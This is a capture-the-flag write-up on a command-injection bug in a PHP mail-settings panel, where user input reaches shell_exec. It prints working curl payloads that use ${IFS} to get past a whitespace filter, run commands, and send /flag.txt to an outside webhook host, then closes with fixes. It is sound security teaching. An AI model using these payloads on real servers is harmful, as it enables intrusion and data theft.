Summary
The “Void Whispers” mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash’s ${IFS} variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate /flag.txt.
1. Recon
The challenge presented a Halloween-themed “Void Whispers” mail-settings panel – a small PHP app for configuring the “from name,” “from email,” “sendmail path,” and “mail program” used to send support notifications.
The page rendered a form with four fields and a Save button that posts to /update:
From Name: Ghostly Support
From Email: [email protected]
Sendmail PATH: /usr/sbin/sendmail
Mail Program: sendmail
Enter fullscreen mode Exit fullscreen mode
2. Source review
A downloadable build archive provided the full server source. Routing goes through a minimal custom router (Router.php) into IndexController.php, which handles both GET / (renders the form) and POST /update (saves settings):
public function updateSetting($router)
{
$from = $_POST['from'];
$mailProgram = $_POST['mailProgram'];
$sendMailPath = $_POST['sendMailPath'];
$email = $_POST['email'];
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
}
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}
...
}
Enter fullscreen mode Exit fullscreen mode
Two things stand out immediately:
-
sendMailPathis passed straight intoshell_exec("which $sendMailPath")with no escaping (escapeshellarg/escapeshellcmdare never called). - The only validation is a regex that blocks literal whitespace characters (
\s). It does not block shell metacharacters like;,|,`,$(), or&&– and critically, bash’s${IFS}variable expands to whitespace at execution time, so it’s a ready-made bypass for a “no spaces” filter.
This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.
3. Exploitation
Step 1 – Confirm the space-filter bypass with a time delay
${IFS} (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past preg_match('/\s/', ...). Chaining a second command with ; after the legitimate sendmail binary confirms execution:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "[email protected]" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;sleep${IFS}5'
Enter fullscreen mode Exit fullscreen mode
The request took ~5 seconds to complete. Repeating with sleep${IFS}10 took ~10 seconds – confirming arbitrary command execution, with response time as the oracle.
Step 2 – Out-of-band confirmation
To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "[email protected]" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>'
Enter fullscreen mode Exit fullscreen mode
The webhook.site inbox logged an inbound GET request from the target server’s IP moments later, confirming full outbound command execution capability from the box.
Step 3 – Exfiltrate the flag
With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:
curl -o /dev/null \
-X POST http://<target-ip>:<port>/update \
-d "from=Ghostly Support" \
-d "[email protected]" \
-d "mailProgram=sendmail" \
--data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>?x=$(cat${IFS}/flag.txt)'
Enter fullscreen mode Exit fullscreen mode
The webhook.site inbox received a new request with the flag contents in the x query parameter.
4. Result
The captured request on webhook.site showed:
GET /<webhook-id>?x=HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode
Flag: HTB{REDACTED}
5. Root Cause & Fix
Issue Why it matters Fix User input passed directly intoshell_exec()
Any shell metacharacter in the input executes as part of the command
Never build shell commands from user input; if a shell call is unavoidable, use escapeshellarg() on every argument
Filter only blocks literal whitespace (\s)
${IFS}, tabs, and other whitespace-equivalent shell constructs bypass a naive space check
Use an allowlist of expected binary paths instead of blocklisting characters
which $sendMailPath used to “validate” a path that is later stored and reused
Validation logic itself is the injection point
Validate against a fixed, known-safe list of binaries rather than shelling out to check existence
The takeaway: blocklisting specific characters (or here, just whitespace) is fragile – shells have many equivalent ways to express the same thing (${IFS}, $IFS$9, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.
답글 남기기